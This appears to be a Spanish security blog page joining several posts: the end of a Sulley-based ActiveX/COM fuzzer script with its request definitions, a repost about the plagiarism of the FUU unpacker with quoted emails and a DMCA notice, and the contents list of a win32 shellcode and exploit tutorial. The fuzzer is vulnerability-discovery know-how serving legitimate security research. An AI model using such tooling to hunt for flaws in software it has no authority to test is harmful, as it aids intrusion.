 s_mutate()

 if counter == 100:
 print "Starting fuzzing"
 t = start_proc(iexplorepath, tmpfolder + "\\test0.html")
 t.start()
 # ----- End Fuzz -----

 print "\n[+] Creation files has ended\n"
 print "\n"
 sys.exit(0)

#############
### INIT ####
#############

def main():
 os.system("cls")

 parser = optparse.OptionParser()
 parser.add_option('-l', dest='lst', action='store_true', help='list all components')
 parser.add_option('-n', dest='new', action='store_true', help='hidden windows components')
 parser.add_option('-s', dest='name', help='search components by name (ex: -s Office)')
 parser.add_option('-i', dest='id', help='search components by clsid (ex: -s {xxx-xxx-xxx-xxx})')
 parser.add_option('-m', dest='file', help='list methods by file (ex: -m c:\\path\\activex.dll)')
 parser.add_option('-f', dest='fuzz', help='fuzz file (ex: -f c:\\path\\activex.dll)')

 (opts, args) = parser.parse_args()

 if not opts.lst and not opts.new and not opts.name and not opts.id and not opts.file and not opts.fuzz:
 print "^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n"
 print "COM Activex fuzzer (by Pepelux && Roi)\n"
 print "^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n"
 parser.print_help()
 else:
 print "[+] Starting analysis ...\n"

 if opts.lst is not None:
 getCLSID("", "all")

 if opts.new is not None:
 getCLSID("", "new")

 if opts.name is not None:
 getCLSID("name", opts.name)

 if opts.id is not None:
 getCLSID("id", opts.id)

 if opts.file is not None:
 getTypes(opts.file)

 if opts.fuzz is not None:
 startFuzz(opts.fuzz)

if __name__=="__main__":
 main()

Y el correspondiente request:

# script to fuzz ActiveX
#
# by:
# Pepelux <pepeluxx@gmail.com> - http://www.pepelux.org/ && http://www.enye-sec.org/

from sulley import *

##################################################

s_initialize("string")
if s_block_start("ini"):
 s_string("A")
s_block_end()

s_initialize("integer")
if s_block_start("ini"):
 s_int(0, format="ascii", signed=True)
s_block_end()

s_initialize("hex")
if s_block_start("ini"):
 s_random("\xff", min_length=1, max_length=500)
s_block_end()

Un saludo a todos, en especial a Roi (http://elotrolad0.blogspot.com/).

Lamerz!

Esto es una copia del post de NCR como apoyo por el plagio que ha sufrido y para difundir un poco más lo ocurrio.

Puedes ver la entrada original aquí: http://crackinglandia.blogspot.com/2010/11/lamerz.html

Hola!,

este pequeño post es para contarles algo sobre lo cual tal vez ya esten al tanto.

La semana pasada, un compañero de la lista de Crackslatinos me señalo un post en un blog, ese post era el siguiente:

http://martik-scorp.blogspot.com/2010/11/martk-unpacker.html

Seguramente, ese link no les va a funcionar, sin embargo, todavia se puede acceder desde la cache de google: http://goo.gl/0J0o9

Bajo una vista rapida no parece nada del otro mundo, otra tool para desempacar … pero mirando detenidamente, veo que tiene muchas similitudes con FUU:

Epa!, los mismos plugins que FUU?, las mismas tools que FUU?. Bueno, pero FUU es open source bajo GPLv3, con lo cual, cualquiera puede agarrar el source, agregar nuevas funcionalidades y hacer su propio release, obviamente bajo la misma licencia que el proyecto original, ademas, esta obligado a dar creditos al autor original. Obviamente, las modificaciones hechas:

7. Additional Terms. “Additional permissions” are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: * a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or * b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or * c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or * d) Limiting the use for publicity purposes of names of licensors or authors of the material; or * e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or * f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered “further restrictions” within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way.

Pero cual fue la sorpresa? bueno, primeramente, no habia ninguna mejora a simple vista pero lo que si se podia observar era que todas las strings habian sido editadas:
Y peor todavia, en los plugins los creditos habian sido editados tambien, atribuyendole los creditos a un tal MART!K:

Para los detallistas, se puede observar que los espacios sobrantes en las strings fueron reemplazados por espacios en blanco, lo cual me da la idea de que ni siquiera se tomo el trabajo de compilar nuevamente el proyecto sino que mediante algun tipo de editor de recursos como ResHackers, simplemente edito los strings, cambio un icono y un BMP.

Al ver esto, me senti un boludo, por que? porque todo el laburo que habia hecho y compartido con la comunidad, de buena fe y con muchas ganas, habia sido plagiado.

Luego de ver todo esto, decidi enviar un mail al autor y aca estan los mails intercambiados con el:

—————
from +NCR/CRC! [ReVeRsEr] to Martik.Panosian@gmail.com
date Tue, Nov 23, 2010 at 2:05 PM
subject FUU & MART!K Unpacker
mailed-by gmail.com

Hi!, i’m the author of FUU (and MART!K Unpacker too¿?), i saw your blog and post about FUU, sorry, MART!K Unpacker. You are stealing a project, and idea just replacing strings???? come on!!! please, write your own version!.

BR,
NCR
—————

La respuesta fue la siguiente:

—————
from martik panosian to “+NCR/CRC! [ReVeRsEr]”
date Tue, Nov 23, 2010 at 2:32 PM
subject Re: FUU & MART!K Unpacker
mailed-by gmail.com
signed-by gmail.com

hello, yes, you right, but the source code is free, isnt it? btw, i appreciate your work. i dont see any wrong thing with what i was done!
—————

A lo cual conteste:
—————
from +NCR/CRC! [ReVeRsEr] to martik panosian
date Tue, Nov 23, 2010 at 2:34 PM
subject Re: FUU & MART!K Unpacker
mailed-by gmail.com

yes, but i don’t see any link or mention to the original project, so …..
—————

Y agregue lo siguiente:

—————
from +NCR/CRC! [ReVeRsEr] to martik panosian
date Tue, Nov 23, 2010 at 2:37 PM
subject Re: FUU & MART!K Unpacker
mailed-by gmail.com

in the readme and license you saying that YOU create the software and that’s no true, so, please add a mention to the original project and author.

BR,
NCR
—————

Despues de un rato, respondio lo siguiente:

—————
from martik panosian to “+NCR/CRC! [ReVeRsEr]”
date Tue, Nov 23, 2010 at 2:49 PM
subject Re: FUU & MART!K Unpacker
mailed-by gmail.com
signed-by gmail.com

ok, you right. i will mention to your blog and original software as soon as possible. sorry about that. p.s. now im on mobile. as soon as i get my pc, i’ll fix that.
—————

Con lo cual respondi:
—————
from +NCR/CRC! [ReVeRsEr] to martik panosian
date Tue, Nov 23, 2010 at 2:50 PM
subject Re: FUU & MART!K Unpacker
mailed-by gmail.com

Thanks!
—————

Luego de esto, la mencion fue agregada pero los creditos al proyecto y autor original tanto en el binario como en los plugins seguian (y siguen) sin aparecer, con lo cual, envie tres nuevos mails al autor y obviamente, ya no tuve mas respuestas de su parte:

—————
from +NCR/CRC! [ReVeRsEr] to martik panosian
date Tue, Nov 23, 2010 at 3:02 PM
subject Re: FUU & MART!K Unpacker
mailed-by gmail.com

btw, i can’t see any new feature in your version, it would be great if you contribute to the original project or add something new to your own version.

Cheers,
NCR
—————

—————
from +NCR/CRC! [ReVeRsEr] to martik panosian
date Wed, Nov 24, 2010 at 11:44 AM
subject Re: FUU & MART!K Unpacker
mailed-by gmail.com

Thanks for adding the mentions to FUU in your blog. Btw, you should do it in your package too and release the modified source code of you tool, remember that the FUU project is under GPLv3, so, if you release a modified version of my sources, then, you must release those modified sources.

Have a nice day.
—————

—————
from +NCR/CRC! [ReVeRsEr] to martik panosian
date Wed, Nov 24, 2010 at 11:54 AM
subject Re: FUU & MART!K Unpacker
mailed-by gmail.com

one last thing: the log messages must remain as the original, for example, in the aspack plugin it says: “Developed by: Mart ik Panosian” and we all know that is not true, so, please, do it in the right way. GNU legal team was contacted in order to verify that you are complying with the GPLv3 license.
—————

Luego, MCKSys, de la lista de Crackslatinos, hizo la denuncia pertinente a la gente de blogger y esta fue la siguiente:

—————
from MCKSys Argentina reply-to crackslatinos@googlegroups.com to crackslatinos@googlegroups.com
date Wed, Nov 24, 2010 at 9:38 PM
subject Re: {CrackSLatinoS} Malas noticias NCR
mailing list Filter messages from this mailing list
mailed-by googlegroups.com
signed-by googlegroups.com

Bueno, algo es algo. Reescribo el mensaje recibido por la denuncia que hice: Hemos recibido su aviso de incidente de la DMCA en http://martik-scorp.blogspot.com/2010/11/martk-unpacker.html con fecha del 23.11.2010 y hemos revisado el contenido que supuestamente infringe la ley. De acuerdo con nuestra política, hemos dejado el contenido sin conexión y se ha informado de la reclamación al autor del blog. Si en esta entrada vuelve a aparecer el contenido objeto de la infracción, le rogamos que nos informe de ello para tomar las medidas oportunas.

Atentamente,
El equipo de Blogger

Esperemos que sirva para algo…
—————

Luego de eso, su post en el blog fue removido.

Ademas, otra persona muy reconocida del ambiente, Nicolas Brulez, al cual le agradezco la gentileza, hizo un pequeño analisis sobre este tal “MART!K”:

http://omgwtfhax.org/

Luego, en los foros de ARTeam y tuts4you me dieron mas ejemplos sobre este tipo, que al parecer, es un lamer bien conocido en el ambiente (no lo era hasta ahora por mi), se encarga de rippear muchos de los releases que la scene va sacando, de hecho, si miran en su web van a ver muchos releases de grupos conocidos pero obviamente rippeados por el.

Agradezco tambien a Guan de Dio por poner un mensaje en su blog: http://guandedio.no-ip.org/

Ah, algo que me olvide de mencionar es que la licencia de este tal “MART!K Unpacker” no es la GPLv3 sino “MART!K License”.

Que quiero exponer con todo esto? pues que un software OpenSource es libre pero no en el sentido de “Cerveza gratis” como bien dice la GNU, sino en el sentido de que cada uno puede agarrar ese codigo, modificarlo, distribuirlo, copiarlo pero siempre y cuando reconozca al autor original y coloque los creditos correspondientes, aunque la licencia no lo este obligando, siempre es de buena educacion dar creditos al autor correspondiente.

Asi que por favor, a no chorear!!! 🙂

Hasta la proxima!.

Saludos.

UPDATE (14/12/2010): Parece que el mismo día que armé este post, y al ver que su post original en su blog fue removido por la gente de Blogger, el amigo Mart!k abrió un nuevo blog en wordpress con el mismo post sobre “su” unpacker: http://martik2scorp.wordpress.com/2010/11/28/martk-unpacker-1-0/. Triste! pero … que se puede esperar de un lamer?.

Creación de shellcodes y exploits en win32

–[ Contenido

1 – Introduccion

2 – Antes de empezar
2.1 – Conocimientos previos
2.2 – Herramientas

3 – Creando un exploit local
3.1 – Creando un programa vulnerable
3.2 – Programando una shellcode
3.3 – Creando un exploit

4 – Creando otro exploit local
4.1 – Programando una shellcode
4.2 – Creando un exploit
4.3 – Solucion de problemas

5 – Haciendo mas estandar nuestro exploit

6 – Creando un exploit remoto
6.1 – Creando un programa vulnerable
6.2 – Programando una shellcode
6.3 – Creando un exploit

7 – Referencias

8 – Agradecimientos

ver la entrada completa